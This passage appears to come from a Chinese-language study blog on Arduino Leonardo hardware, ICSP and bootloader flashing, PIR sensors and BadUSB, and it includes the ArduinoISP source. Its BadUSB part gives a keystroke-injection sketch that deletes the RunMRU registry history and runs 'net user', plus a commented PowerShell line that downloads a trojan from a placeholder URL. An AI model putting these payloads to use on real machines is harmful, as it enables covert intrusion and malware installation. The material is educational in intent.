 1. UART: 0(RX)和1(TX): 使用ATmega32U4硬件串口,用于接收(RX)和发送(TX)的TTL串行数据。需要注意的是,Leonardo的Serial类是指USB(CDC)的通信,而引脚0和1的TTL串口使用Serial1类 2. TWI: 2(SDA)和3(SCL)通过使用Wire库来支持TWI通信 3. 外部中断: 2和3,这些引脚可以被配置 4. PWM: 3、5、6、9、10、11、13能使用analogWrite()函数支持8位的PWM输出 5. SPI: ICSP引脚。能通过使用SPI库支持SPI通信。需要注意的是,SPI引脚没有像UNO连接到任何的数字I/O引脚上,他们只能在ICSP端口上工作。这意味着,如果你的扩展板,没有连接6脚的ICSP引脚,那它将无法工作 6. LED: 13。有一个内置的LED在数字脚13上,当引脚是高电平事,LED亮,引脚为低电平时,LED不亮 

4. 模拟输入

 1. A0~A5、A6~A11(数字引脚4,6,8,9,10,12) ,Leonardo有12个模拟输入,A0到A11,都可以作为数字I/O口     1) 引脚A0-A5的位置上与UNO相同     2) 引脚A6-A11分别是数字I/O引脚4,6,8,9,10和12 每个模拟输入都有10位分辨率(即1024个不同的值)。默认情况下,模拟输入量为0-5V,也可以通过AREF引脚改变这个上限  2. AREF: 模拟输入信号参考电压通过analogReference()函数使用 3. Reset: 通过置低该线路来复位arduino,通常用在带复位按键的扩展板上  

5. 通信

要让Leonardo与电脑、其他arduino或者其他的微控制器通信,有多种设备。在I/O上ATmega32u4提供了UART TTL(5V)的通信方式,32u4还允许通过USB在电脑上虚拟COM端口来进行虚拟串行(CDC)通信。这个芯片使用标准的USB串行驱动(在Windows上需要一个.inf文件),可以作为一个全速USB2.0设备。arduino软件包含了一个串口监视器,可以与arduino板子相互发送或者接收简单的数据。当使用USB传输数据时,板子上RX、TX LED会闪烁
SoftwareSerial库能让任意的数字I/O口进行串行通信
ATmega32u4还支持TWI(I2C)和SPI通信。arduino软件有一个用于简化TWI(I2C)通信的wire库。SPI通信可以使用SPI库
Leonardo可以作为鼠标、键盘出现,也可以通过编程来控制这类键盘鼠标输入设备

6. 编程

Leonardo可以通过arduino软件来编程,选择Tool>board>Arduino Leonardo(根据你的控制器型号选择)
Leonardo的ATmega32u4芯片烧写了一个引导程序(运行于bootloader上的一个专门用于上传程序的程序,相当于应用层程序,可以把arduino看成一个ring0/1/2/3分层的软硬件架构),使得你可以不通过外部的硬件编程器也可以上传新的程序到Leonardo。bootloader使用AVR109协议通信
除此之外,也可以以绕过引导程序,使用外部编程器通过ICSP(在线串行编程)引脚烧写程序(在bootloader损坏的情况下可以采取该方法)

 //自动复位和引导程序的启动 1. 在Leonardo中被设定为在上传时,软件建立连接让控制器复位,从而免去了我们手动按下复位按钮的操作 2. 当Leonardo作为虚拟(CDC)串行/COM端口以1200波特率运行时,复位功能将被促发,串口也将关闭。此时,处理器会复位,USB连接会断开(即虚拟(CDC)串行/COM端口会断开) 3. 处理器复位后,引导程序紧接着启动,大概要等待8秒来完成这个过程。引导程序也可以通过按板子上复位按钮来启动 //注意当板子第一次通电时,如果有用户程序,他将直接跳转到用户程序区,而不启动bootloader 

Leonardo最好的复位处理方式是在上传程序前让arduino软件端试图启动复位功能,而不是你手动点击复位按钮。如果软件没有让控制板自动复位,你也可以通过手动按下复位按钮从而让板子复位运行引导程序

Relevant Link:

 http://www.alldatasheet.com/datasheet-pdf/pdf/392289/ATMEL/ATMEGA328P-PU.html https://www.arduino.cc/en/Main/ArduinoBoardLeonardo http://www.eetop.cn/blog/html/35/40735-28832.html 

12. ICSP(In-Circuit Serial Programming 在线串行编程)

ICSP是一种编程方法,也就是说是一种烧写手段。这种手段可以在线烧写,即不需要将芯片取下就可以在板子上烧写。而这种烧写方法使用串行的数据。我们熟悉的TI的DSP,一向可以使用JTAG口进行烧写,那就是标准的在线烧写MC的ICSP,使用起来极为方便,应用ICSP进行烧写,只需要使用芯片上的5个脚就可以,其中包括

 1. VDD 2. VSS: 这两个电源一定要供上 3. VPP编程电压: 这个是肯定的,对FLASH进行烧写,当然需要高一点的电压 4. 输入的数据和时钟两个脚。一般是PORTB口的RB6和RB7 //真正的和烧写数据有关的就两个脚 

在PIC芯片中,烧写模式下,FLASHROM和外部接口之间有一个"处理接口",该接口从外部通过串行方式接收命令,移位译码后进行外部设备需要的操作,随后如需要结果的话就把结果同样串行输出。当然实际上这个所谓的接口可能只是一块电路。但是可以肯定的是,FLASH并不是暴露在外直接和外界连接的,而是先要连到ICSP模块,然后才能连上外界
这就有个好处,就是加密安全性的问题。因为FLASHROM并不是直接和外界相连,所以外界如果要读取FLASHROM内部的内容,正常情况下就必须通过ICSP模块。而ICSP模块如果检测到加密位有设置的话,那就拒绝执行外部的相应的读取命令,返回全0值。但是其实,数据在芯片内部并没有被加密,所以正常的程序访问不会受到干扰
ICSP这种方式,外部实现是极为简单的,只要能提供完全符合Programming Specification的信号就行。所以技术我们完全可以自制烧写器。使用起来和原厂的PICSTART之类没什么区别,在有新芯片出来时,烧写器可以很方便的升级,只要重写一下烧写器内部芯片的代码,加入新芯片的烧写命令代码就行了。而烧写器的内部芯片。一般也是PIC。可以ICSP升级

 用ICSP升级PIC以支持新的PIC的ICSP 

Relevant Link:

 http://www.360doc.com/content/10/1105/16/2379373_66878200.shtml  

13. 人体传感器

人体感知器模块是集成度比较高的模块,很多请款不需要单片机就可以独立工作,把这个信号引入单片机是为了以后可以综合控制多种传感器和设备。需要明白的是,程序和硬件部分是此消彼长的关系,硬件复杂,程序就简单,硬件简单,同样的功能热释电效应同压电效应类似,是指由于温度的变化而引起晶体表面荷电的现象。热释电传感器是对温度敏感的传感器。它由陶瓷氧化物或压电晶体元件组成,在元件两个表面做成电极,在传感器监测范围内温度有ΔT的变化时,热释电效应会在两个电极上会产生电荷ΔQ,即在两电极之间产生一微弱的电压ΔV。由于它的输出阻抗极高,在传感器中有一个场效应管进行阻抗变换。热释电效应所产生的电荷ΔQ会被空气中的离子所结合而消失,即当环境温度稳定不变时,ΔT=0,则传感器无输出。当人体进入检测区,因人体温度与环境温度有差别,产生ΔT,则有ΔT输出;若人体进入检测区后不动,则温度没有变化,传感器也没有输出了。所以这种传感器检测人体或者动物的活动传感。 由实验证明,传感器不加光学透镜(也称菲涅尔透镜),其检测距离小于2m,而加上光学透镜后,其检测距离可大于7m,程序就会复杂

0x1: 基于红外感知

自然界中的一切物体,只要它的温度高于绝对温度(-273℃)就存在分子和原子无规则的运动,其表面就不断地辐射红外线。红外线是一种电磁波,它的波长范围为760nm~ 1mm,不为人眼所见。红外成像设备就是探测这种物体表面辐射的不为人眼所见的红外线的设备。它反映物体表面的红外辐射场,即温度场
对于电力设备,红外检测与故障诊断的基本原理就是通过探测被诊断设备表面的红外辐射信号,从而获得设备的热状态特征,并根据这种热状态及适当的判据,作出设备有无故障及故障属性、出现位置和严重程度的诊断判别

0x2: 热释红外人体感知器

热释电效应同压电效应类似,是指由于温度的变化而引起晶体表面荷电的现象。热释电传感器是对温度敏感的传感器。它由陶瓷氧化物或压电晶体元件组成,在元件两个表面做成电极,在传感器监测范围内温度有ΔT的变化时,热释电效应会在两个电极上会产生电荷ΔQ,即在两电极之间产生一微弱的电压ΔV。由于它的输出阻抗极高,在传感器中有一个场效应管进行阻抗变换。热释电效应所产生的电荷ΔQ会被空气中的离子所结合而消失,即当环境温度稳定不变时,ΔT=0,则传感器无输出。当人体进入检测区,因人体温度与环境温度有差别,产生ΔT,则有ΔT输出;若人体进入检测区后不动,则温度没有变化,传感器也没有输出了。所以这种传感器检测人体或者动物的活动传感。 由实验证明,传感器不加光学透镜(也称菲涅尔透镜),其检测距离小于2m,而加上光学透镜后,其检测距离可大于7m

Relevant Link:

 http://baike.baidu.com/link?url=W-DvxI_VT8rYJI8uikY_2n75SEKKiYC1eG3Y7XuBTtWVvZ4HjdSZ4LHLVrYX7Sx9dLglJySXpnWJdH3kjXrzPa http://baike.baidu.com/link?url=NKI_34VSdpzBvhy38YpIrIyNYZFQnS0aLF5Iult_KgPS3x9l0FTnzfU74fY134Tzk0T4Zf6oTEcSw3BXuYumsRSZ3NiDe-30cvRxWxUqnaUR6FgJ8v26b2tGK94Q1CAPYsmC3iJny12FcBsLS0WZC-UFF1H0Vj1csJ-fpPs_mtbkyZoGq5Jy7O2NR5eAOTU8 http://wenku.baidu.com/link?url=PcRq6qdpxcnBej9g5PNLgAOOVPK-Gy8Z-wTrQn-MSJraXKDhK2BqOftge68K38i2JH9CXqJbuR47owIDwjL7Yx_TV5ticRmBTMqQ_hEUTIC 

14. CMOS

在计算机领域,CMOS常指保存计算机基本启动信息(如日期、时间、启动设置等)的芯片。CMOS是主板上的一块可读写的并行或串行FLASH芯片,是用来保存BIOS的硬件配置和用户对某些参数的设定。即CMOS是硬件设备,而BIOS是一段代码
CMOS是Complementary Metal Oxide Semiconductor(互补金属氧化物半导体)的缩写。它是指制造大规模集成电路芯片用的一种技术或用这种技术制造出来的芯片,是电脑主板上的一块可读写的RAM芯片。因为可读写的特性,所以在电脑主板上用来保存BIOS设置完电脑硬件参数后的数据,这个芯片仅仅是用来存放数据的
而对BIOS中各项参数的设定要通过专门的程序。BIOS设置程序一般都被厂商整合在芯片中,在开机时通过特定的按键就可进入BIOS设置程序,方便地对系统进行设置。因此BIOS设置有时也被叫做CMOS设置

Relevant Link:

 http://baike.baidu.com/link?url=MEe0Izz8J8zXFfNGQe0Aput60lfxuviFWJN4JV_q-Kwfp4pLzS7ktiZPCuNwQwiDUf2JncRuUURC5GhQ3kU-8q http://wenku.baidu.com/link?url=NhgAJNDXDoNbMyQzx6wf135mIjLvNq1bmuWtQLDiMqAcIuC0dOH_UijZ46iz8E1q7IhLYLkf1A699L5F5uAZAbNsIRfKb9J2O_2w-1XmfsO  

15. HID/ BADUSB

BadUSB主要依靠USB驱动器的构建方式,USB通常有一个大容量的可重写的内存芯片(Flash)用于实际的数据存储,以及一个独立的控制器芯片(ATMEGA32U4)。控制芯片实际上是一个低功耗计算机,并且与你的笔记本电脑或台式机一样,它通过从内存芯片加载基本的引导程序(bootloader)来启动,类似于笔记本电脑的硬盘驱动器包含一个隐藏的主引导记录(MasterBoot Record)

Arduino、bootloader、及其相关硬件知识入门学习

可重复编程的外设‍‍

Arduino、bootloader、及其相关硬件知识入门学习

USB攻击场景

 1. 在Windows环境下感染USB,然后再控制Linux机器‍‍,通过修改LD_PRELOAD实现Glib C API劫持,注入恶意的密码窃取程序 ‍‍‍‍2. USB设备篡改Windows系统的DNS设置‍‍(‍‍通过"USB上的DHCP"转移网络流量‍‍‍‍) 

Arduino、bootloader、及其相关硬件知识入门学习

攻击方式总结‍‍‍

Arduino、bootloader、及其相关硬件知识入门学习

Relevant Link:

 http://netsecurity.51cto.com/art/201409/450561.htm http://qqhack8.blog.163.com/blog/static/11414798520153123959852/# https://github.com/brandonlw/Psychson http://drops.wooyun.org/tips/9336 

Arduino、bootloader、及其相关硬件知识入门学习

我们从一段简单的程序中逐层向底层分析,弄清我们的程序代码是如何从Flash被调入SRAM内存执行,并通过Atmega USB的提供的USB设备驱动API将HID识别码转换为windows可识别的按键消息(I/O请求),最终实现按键效果

 #include <Keyboard.h>   void setup() {    //init   delay(3000);    Keyboard.begin();   /* Win + R */   Keyboard.press(KEY_LEFT_GUI);   delay(500);    Keyboard.press('r');   delay(500);    Keyboard.release(KEY_LEFT_GUI);   Keyboard.release('r');   delay(500);    /**/   /* 打开cmd窗口,shift按键可以抵消输入法带来的影响 */   //Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");   Keyboard.println("cmd.exe");    Keyboard.press(KEY_LEFT_SHIFT);   Keyboard.release(KEY_LEFT_SHIFT);   delay(1000);     Keyboard.press(KEY_RETURN); //enter   Keyboard.release(KEY_RETURN);    delay(1000);    Keyboard.press(KEY_LEFT_SHIFT);   Keyboard.release(KEY_LEFT_SHIFT);   //清除运行里的访问记录    Keyboard.println("reg delete HKCU//Software//Microsoft//Windows//CurrentVersion//Explorer//RunMRU /f");   Keyboard.press(KEY_RETURN); //enter   Keyboard.release(KEY_RETURN);     /**/   /* do the evil thing */    delay(1000);      Keyboard.println("net user");      Keyboard.press(KEY_RETURN); //enter   Keyboard.release(KEY_RETURN);     delay(1000);   //Keyboard.println("powershell -Command $clnt = new-object System.Net.WebClient;$url= '这里替换成木马下载地址';$file = ' C://x.exe ';$clnt.DownloadFile($url,$file);");    /**/   Keyboard.println("notepad.exe");    Keyboard.press(KEY_RETURN); //enter   Keyboard.release(KEY_RETURN);     delay(1000);   Keyboard.press(KEY_LEFT_SHIFT);   Keyboard.release(KEY_LEFT_SHIFT);   Keyboard.println("Stay anonymous!");    delay(1000);   /**/   Keyboard.end();  }  void loop() {   }  

0x1: HID Keyboard构造函数

 Keyboard_::Keyboard_(void)  {     /*         typedef struct     {       uint8_t len;      // 9       uint8_t dtype;    // 0x21       uint8_t addr;       uint8_t versionL; // 0x101       uint8_t versionH; // 0x101       uint8_t country;       uint8_t desctype; // 0x22 report       uint8_t descLenL;       uint8_t descLenH;     } HIDDescDescriptor;      typedef struct      {       InterfaceDescriptor hid;       HIDDescDescriptor   desc;       EndpointDescriptor  in;     } HIDDescriptor;      class HIDSubDescriptor {     public:       HIDSubDescriptor *next = NULL;       HIDSubDescriptor(const void *d, const uint16_t l) : data(d), length(l) { }        const void* data;       const uint16_t length;     };     */     static HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor));     HID().AppendDescriptor(&node); } 

构造函数创建了HID模拟键盘的节点对象,并设置了相关的版本信息

0x2: Keyboard.press记录按键信息、Keyboard.release记录按键释放信息

从HID键盘设备的角度来看,我们按下一个键和释放一个键是两个独立的动作,HID会分别记录它们

 // press() adds the specified key (printing, non-printing, or modifier) // to the persistent key report and sends the report.  Because of the way  // USB HID works, the host acts like the key remains pressed until we  // call release(), releaseAll(), or otherwise clear the report and resend. size_t Keyboard_::press(uint8_t k)  {     uint8_t i;     if (k >= 136) {            // it's a non-printing key (not a modifier)         k = k - 136;     } else if (k >= 128) {    // it's a modifier key         _keyReport.modifiers |= (1<<(k-128));         k = 0;     } else {                // it's a printing key         k = pgm_read_byte(_asciimap + k);         if (!k) {             setWriteError();             return 0;         }         if (k & 0x80) {                        // it's a capital letter or other character reached with shift             _keyReport.modifiers |= 0x02;    // the left shift modifier             k &= 0x7F;         }     }          // Add k to the key report only if it's not already present     // and if there is an empty slot.     if (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&          _keyReport.keys[2] != k && _keyReport.keys[3] != k &&         _keyReport.keys[4] != k && _keyReport.keys[5] != k) {                  for (i=0; i<6; i++) {             if (_keyReport.keys[i] == 0x00) {                 _keyReport.keys[i] = k;                 break;             }         }         if (i == 6) {             setWriteError();             return 0;         }         }     sendReport(&_keyReport);     return 1; }  // release() takes the specified key out of the persistent key report and // sends the report.  This tells the OS the key is no longer pressed and that // it shouldn't be repeated any more. size_t Keyboard_::release(uint8_t k)  {     uint8_t i;     if (k >= 136) {            // it's a non-printing key (not a modifier)         k = k - 136;     } else if (k >= 128) {    // it's a modifier key         _keyReport.modifiers &= ~(1<<(k-128));         k = 0;     } else {                // it's a printing key         k = pgm_read_byte(_asciimap + k);         if (!k) {             return 0;         }         if (k & 0x80) {                            // it's a capital letter or other character reached with shift             _keyReport.modifiers &= ~(0x02);    // the left shift modifier             k &= 0x7F;         }     }          // Test the key report to see if k is present.  Clear it if it exists.     // Check all positions in case the key is present more than once (which it shouldn't be)     for (i=0; i<6; i++) {         if (0 != k && _keyReport.keys[i] == k) {             _keyReport.keys[i] = 0x00;         }     }      sendReport(&_keyReport);     return 1; } 

从代码中我们可以看到几点

 1. 该HID的按键临时存储槽最多只有6个空间,包括打印字符、控制字符、shift这些在内,即一次最多只能传输"同时按下6个键的组合" 2. HID通过内置了一个HID识别码映射数组,将键盘上的按键翻译为HID码 

0x3: sendReport发送HID识别码

 int HID_::SendReport(uint8_t id, const void* data, int len) {     auto ret = USB_Send(pluggedEndpoint, &id, 1);     if (ret < 0) return ret;     auto ret2 = USB_Send(pluggedEndpoint | TRANSFER_RELEASE, data, len);     if (ret2 < 0) return ret2;     return ret + ret2; } 

继续往下调用了USB接口芯片的API,C:/Program Files (x86)/Arduino/hardware/arduino/avr/cores/arduino/USBCore.cpp

 //    Space in send EP u8 USB_SendSpace(u8 ep) {     LockEP lock(ep);     if (!ReadWriteAllowed())         return 0;     return USB_EP_SIZE - FifoByteCount(); }  //    Blocking Send of data to an endpoint int USB_Send(u8 ep, const void* d, int len) {     if (!_usbConfiguration)         return -1;      int r = len;     const u8* data = (const u8*)d;     u8 timeout = 250;        // 250ms timeout on send? TODO     while (len)     {         u8 n = USB_SendSpace(ep);         if (n == 0)         {             if (!(--timeout))                 return -1;             delay(1);             continue;         }          if (n > len)             n = len;         {             LockEP lock(ep);             // Frame may have been released by the SOF interrupt handler             if (!ReadWriteAllowed())                 continue;             len -= n;             if (ep & TRANSFER_ZERO)             {                 while (n--)                     Send8(0);             }             else if (ep & TRANSFER_PGM)             {                 while (n--)                     Send8(pgm_read_byte(data++));             }             else             {                 while (n--)                     Send8(*data++);             }             if (!ReadWriteAllowed() || ((len == 0) && (ep & TRANSFER_RELEASE)))    // Release full buffer                 ReleaseTX();         }     }     TXLED1;                    // light the TX LED     TxLEDPulse = TX_RX_LED_PULSE_MS;     return r; } 

按键信息通过USB模拟COM串口传输到PC中,传入WDFUSB驱动中,之后包装为I/O请求,发送给windows内核

Relevant Link:

 http://www.arduino.cn/thread-5107-1-1.html http://blog.csdn.net/boyboromi/article/details/7906577 http://blog.sina.com.cn/s/blog_8af26b5c01016qky.html 

15. Bootloader烧写

首先需要明白的是,这里所谓的对arduino进行bootloader烧写,实际上是在对arduino的主控芯片AtmegaXXX(类似于CPU)进行bootloader烧写,和PC上CPU/内存/硬盘的体系不同,单片机没有那么复杂的存储外设,片上能存储数据和代码的地方只有和主控芯片AtmegaXXX在一起的Flash以及SRAM这些,烧写bootloader的目的类似于早期的DOS操作系统,我们要给一块硬件板子安装最基本的底层代码,用于驱动硬件以及和硬件进行交互,这里的bootloader就相当于这块板子的DOS操作系统一个最最精简的电脑(computer)可以只由主控芯片+晶振器组成

0x1: 使用arduino UNO给 mega32u4 烧录bootloader

Arduino、bootloader、及其相关硬件知识入门学习

这种方式是将arduino uno本身作为一个downloader使用,通过给arduino uno上传一个程序(arduino as ISP),这个arduino uno就具备了烧录器的功能,剩下的就是引脚之间怎么互联的问题了

1. ArduinoISP(arduino uno应用态片上程序,用于将arduino转换为烧录器)

 // ArduinoISP // Copyright (c) 2008-2011 Randall Bohn // If you require a license, see //     http://www.opensource.org/licenses/bsd-license.php // // This sketch turns the Arduino into a AVRISP // using the following arduino pins: // // Pin 10 is used to reset the target microcontroller. // // By default, the hardware SPI pins MISO, MOSI and SCK pins are used // to communicate with the target. On all Arduinos, these pins can be found // on the ICSP/SPI header: // //               MISO °. . 5V (!) Avoid this pin on Due, Zero... //               SCK   . . MOSI //                     . . GND // // On some Arduinos (Uno,...), pins MOSI, MISO and SCK are the same pins // as digital pin 11, 12 and 13, respectively. That is why many tutorials // instruct you to hook up the target to these pins. If you find this wiring // more practical, have a define USE_OLD_STYLE_WIRING. This will work even // even when not using an Uno. (On an Uno this is not needed). // // Alternatively you can use any other digital pin by configuring software ('BitBanged') // SPI and having appropriate defines for PIN_MOSI, PIN_MISO and PIN_SCK. //  // IMPORTANT: When using an Arduino that is not 5V tolerant (Due, Zero, ...) // as the programmer, make sure to not expose any of the programmer's pins to 5V. // A simple way to accomplish this is to power the complete system (programmer // and target) at 3V3. // // Put an LED (with resistor) on the following pins: // 9: Heartbeat   - shows the programmer is running // 8: Error       - Lights up if something goes wrong (use red if that makes sense) // 7: Programming - In communication with the slave //  #include "Arduino.h" #undef SERIAL   #define PROG_FLICKER true  // Configure SPI clock (in Hz). // E.g. for an attiny @128 kHz: the datasheet states that both the high // and low spi clock pulse must be > 2 cpu cycles, so take 3 cycles i.e. // divide target f_cpu by 6: //     #define SPI_CLOCK            (128000/6) // // A clock slow enough for an attiny85 @ 1MHz, is a reasonable default:  #define SPI_CLOCK         (1000000/6)   // Select hardware or software SPI, depending on SPI clock. // Currently only for AVR, for other archs (Due, Zero,...), // hardware SPI is probably too fast anyway.  #if defined(ARDUINO_ARCH_AVR)  #if SPI_CLOCK > (F_CPU / 128) #define USE_HARDWARE_SPI #endif  #endif  // Configure which pins to use:  // The standard pin configuration. #ifndef ARDUINO_HOODLOADER2   #define RESET     10 // Use pin 10 to reset the target rather than SS #define LED_HB    9 #define LED_ERR   8 #define LED_PMODE 7  // Uncomment following line to use the old Uno style wiring // (using pin 11, 12 and 13 instead of the SPI header) on Leonardo, Due...  // #define USE_OLD_STYLE_WIRING  #ifdef USE_OLD_STYLE_WIRING  #define PIN_MOSI    11 #define PIN_MISO    12 #define PIN_SCK        13  #endif  // HOODLOADER2 means running sketches on the atmega16u2  // serial converter chips on Uno or Mega boards. // We must use pins that are broken out: #else   #define RESET         4 #define LED_HB        7 #define LED_ERR       6 #define LED_PMODE     5  #endif  // By default, use hardware SPI pins: #ifndef PIN_MOSI #define PIN_MOSI     MOSI #endif  #ifndef PIN_MISO #define PIN_MISO     MISO #endif  #ifndef PIN_SCK #define PIN_SCK     SCK #endif  // Force bitbanged SPI if not using the hardware SPI pins: #if (PIN_MISO != MISO) ||  (PIN_MOSI != MOSI) || (PIN_SCK != SCK) #undef USE_HARDWARE_SPI #endif   // Configure the serial port to use. // // Prefer the USB virtual serial port (aka. native USB port), if the Arduino has one: //   - it does not autoreset (except for the magic baud rate of 1200). //   - it is more reliable because of USB handshaking. // // Leonardo and similar have an USB virtual serial port: 'Serial'. // Due and Zero have an USB virtual serial port: 'SerialUSB'. // // On the Due and Zero, 'Serial' can be used too, provided you disable autoreset. // To use 'Serial': #define SERIAL Serial  #ifdef SERIAL_PORT_USBVIRTUAL #define SERIAL SERIAL_PORT_USBVIRTUAL #else #define SERIAL Serial #endif   // Configure the baud rate:  #define BAUDRATE    19200 // #define BAUDRATE    115200 // #define BAUDRATE    1000000   #define HWVER 2 #define SWMAJ 1 #define SWMIN 18  // STK Definitions #define STK_OK      0x10 #define STK_FAILED  0x11 #define STK_UNKNOWN 0x12 #define STK_INSYNC  0x14 #define STK_NOSYNC  0x15 #define CRC_EOP     0x20 //ok it is a space...  void pulse(int pin, int times);  #ifdef USE_HARDWARE_SPI #include "SPI.h" #else  #define SPI_MODE0 0x00  class SPISettings { public:   // clock is in Hz   SPISettings(uint32_t clock, uint8_t bitOrder, uint8_t dataMode) : clock(clock){     (void) bitOrder;     (void) dataMode;   };  private:   uint32_t clock;  friend class BitBangedSPI; };  //模拟ISCP传输 class BitBangedSPI { public:   void begin() {     digitalWrite(PIN_SCK, LOW);     digitalWrite(PIN_MOSI, LOW);     pinMode(PIN_SCK, OUTPUT);     pinMode(PIN_MOSI, OUTPUT);     pinMode(PIN_MISO, INPUT);   }    void beginTransaction(SPISettings settings) {     pulseWidth = (500000 + settings.clock - 1) / settings.clock;     if (pulseWidth == 0)       pulseWidth = 1;   }    void end() {}    uint8_t transfer (uint8_t b) {     for (unsigned int i = 0; i < 8; ++i) {       digitalWrite(PIN_MOSI, (b & 0x80) ? HIGH : LOW);       digitalWrite(PIN_SCK, HIGH);       delayMicroseconds(pulseWidth);       b = (b << 1) | digitalRead(PIN_MISO);       digitalWrite(PIN_SCK, LOW); // slow pulse       delayMicroseconds(pulseWidth);     }     return b;   }  private:   unsigned long pulseWidth; // in microseconds };  static BitBangedSPI SPI;  #endif  void setup() {   SERIAL.begin(BAUDRATE);    pinMode(LED_PMODE, OUTPUT);   pulse(LED_PMODE, 2);   pinMode(LED_ERR, OUTPUT);   pulse(LED_ERR, 2);   pinMode(LED_HB, OUTPUT);   pulse(LED_HB, 2);  }  int error = 0; int pmode = 0; // address for reading and writing, set by 'U' command unsigned int here; uint8_t buff[256]; // global block storage  #define beget16(addr) (*addr * 256 + *(addr+1) ) typedef struct param {   uint8_t devicecode;   uint8_t revision;   uint8_t progtype;   uint8_t parmode;   uint8_t polling;   uint8_t selftimed;   uint8_t lockbytes;   uint8_t fusebytes;   uint8_t flashpoll;   uint16_t eeprompoll;   uint16_t pagesize;   uint16_t eepromsize;   uint32_t flashsize; } parameter;  parameter param;  // this provides a heartbeat on pin 9, so you can tell the software is running. uint8_t hbval = 128; int8_t hbdelta = 8; void heartbeat() {   static unsigned long last_time = 0;   unsigned long now = millis();   if ((now - last_time) < 40)     return;   last_time = now;   if (hbval > 192) hbdelta = -hbdelta;   if (hbval < 32) hbdelta = -hbdelta;   hbval += hbdelta;   analogWrite(LED_HB, hbval); }  static bool rst_active_high;  void reset_target(bool reset) {   digitalWrite(RESET, ((reset && rst_active_high) || (!reset && !rst_active_high)) ? HIGH : LOW); }  void loop(void) {   // is pmode active?   if (pmode) {     digitalWrite(LED_PMODE, HIGH);   } else {     digitalWrite(LED_PMODE, LOW);   }   // is there an error?   if (error) {     digitalWrite(LED_ERR, HIGH);   } else {     digitalWrite(LED_ERR, LOW);   }    // light the heartbeat LED   heartbeat();   if (SERIAL.available()) {     avrisp();   } }  uint8_t getch() {   while (!SERIAL.available());   return SERIAL.read(); } void fill(int n) {   for (int x = 0; x < n; x++) {     buff[x] = getch();   } }  #define PTIME 30 void pulse(int pin, int times) {   do {     digitalWrite(pin, HIGH);     delay(PTIME);     digitalWrite(pin, LOW);     delay(PTIME);   } while (times--); }  void prog_lamp(int state) {   if (PROG_FLICKER) {     digitalWrite(LED_PMODE, state);   } }  uint8_t spi_transaction(uint8_t a, uint8_t b, uint8_t c, uint8_t d) {   SPI.transfer(a);   SPI.transfer(b);   SPI.transfer(c);   return SPI.transfer(d); }  void empty_reply() {   if (CRC_EOP == getch()) {     SERIAL.print((char)STK_INSYNC);     SERIAL.print((char)STK_OK);   } else {     error++;     SERIAL.print((char)STK_NOSYNC);   } }  void breply(uint8_t b) {   if (CRC_EOP == getch()) {     SERIAL.print((char)STK_INSYNC);     SERIAL.print((char)b);     SERIAL.print((char)STK_OK);   } else {     error++;     SERIAL.print((char)STK_NOSYNC);   } }  void get_version(uint8_t c) {   switch (c) {     case 0x80:       breply(HWVER);       break;     case 0x81:       breply(SWMAJ);       break;     case 0x82:       breply(SWMIN);       break;     case 0x93:       breply('S'); // serial programmer       break;     default:       breply(0);   } }  void set_parameters() {   // call this after reading paramter packet into buff[]   param.devicecode = buff[0];   param.revision   = buff[1];   param.progtype   = buff[2];   param.parmode    = buff[3];   param.polling    = buff[4];   param.selftimed  = buff[5];   param.lockbytes  = buff[6];   param.fusebytes  = buff[7];   param.flashpoll  = buff[8];   // ignore buff[9] (= buff[8])   // following are 16 bits (big endian)   param.eeprompoll = beget16(&buff[10]);   param.pagesize   = beget16(&buff[12]);   param.eepromsize = beget16(&buff[14]);    // 32 bits flashsize (big endian)   param.flashsize = buff[16] * 0x01000000                     + buff[17] * 0x00010000                     + buff[18] * 0x00000100                     + buff[19];    // avr devices have active low reset, at89sx are active high   rst_active_high = (param.devicecode >= 0xe0); }  void start_pmode() {    // Reset target before driving PIN_SCK or PIN_MOSI    // SPI.begin() will configure SS as output,   // so SPI master mode is selected.   // We have defined RESET as pin 10,   // which for many arduino's is not the SS pin.   // So we have to configure RESET as output here,   // (reset_target() first sets the correct level)   reset_target(true);   pinMode(RESET, OUTPUT);   SPI.begin();   SPI.beginTransaction(SPISettings(SPI_CLOCK, MSBFIRST, SPI_MODE0));    // See avr datasheets, chapter "SERIAL_PRG Programming Algorithm":    // Pulse RESET after PIN_SCK is low:   digitalWrite(PIN_SCK, LOW);   delay(20); // discharge PIN_SCK, value arbitrally chosen   reset_target(false);   // Pulse must be minimum 2 target CPU clock cycles   // so 100 usec is ok for CPU speeds above 20KHz   delayMicroseconds(100);   reset_target(true);    // Send the enable programming command:   delay(50); // datasheet: must be > 20 msec   spi_transaction(0xAC, 0x53, 0x00, 0x00);   pmode = 1; }  void end_pmode() {   SPI.end();   // We're about to take the target out of reset   // so configure SPI pins as input   pinMode(PIN_MOSI, INPUT);   pinMode(PIN_SCK, INPUT);   reset_target(false);   pinMode(RESET, INPUT);   pmode = 0; }  void universal() {   uint8_t ch;    fill(4);   ch = spi_transaction(buff[0], buff[1], buff[2], buff[3]);   breply(ch); }  void flash(uint8_t hilo, unsigned int addr, uint8_t data) {   spi_transaction(0x40 + 8 * hilo,                   addr >> 8 & 0xFF,                   addr & 0xFF,                   data); } void commit(unsigned int addr) {   if (PROG_FLICKER) {     prog_lamp(LOW);   }   spi_transaction(0x4C, (addr >> 8) & 0xFF, addr & 0xFF, 0);   if (PROG_FLICKER) {     delay(PTIME);     prog_lamp(HIGH);   } }  unsigned int current_page() {   if (param.pagesize == 32) {     return here & 0xFFFFFFF0;   }   if (param.pagesize == 64) {     return here & 0xFFFFFFE0;   }   if (param.pagesize == 128) {     return here & 0xFFFFFFC0;   }   if (param.pagesize == 256) {     return here & 0xFFFFFF80;   }   return here; }   void write_flash(int length) {   fill(length);   if (CRC_EOP == getch()) {     SERIAL.print((char) STK_INSYNC);     SERIAL.print((char) write_flash_pages(length));   } else {     error++;     SERIAL.print((char) STK_NOSYNC);   } }  uint8_t write_flash_pages(int length) {   int x = 0;   unsigned int page = current_page();   while (x < length) {     if (page != current_page()) {       commit(page);       page = current_page();     }     flash(LOW, here, buff[x++]);     flash(HIGH, here, buff[x++]);     here++;   }    commit(page);    return STK_OK; }  #define EECHUNK (32) uint8_t write_eeprom(unsigned int length) {   // here is a word address, get the byte address   unsigned int start = here * 2;   unsigned int remaining = length;   if (length > param.eepromsize) {     error++;     return STK_FAILED;   }   while (remaining > EECHUNK) {     write_eeprom_chunk(start, EECHUNK);     start += EECHUNK;     remaining -= EECHUNK;   }   write_eeprom_chunk(start, 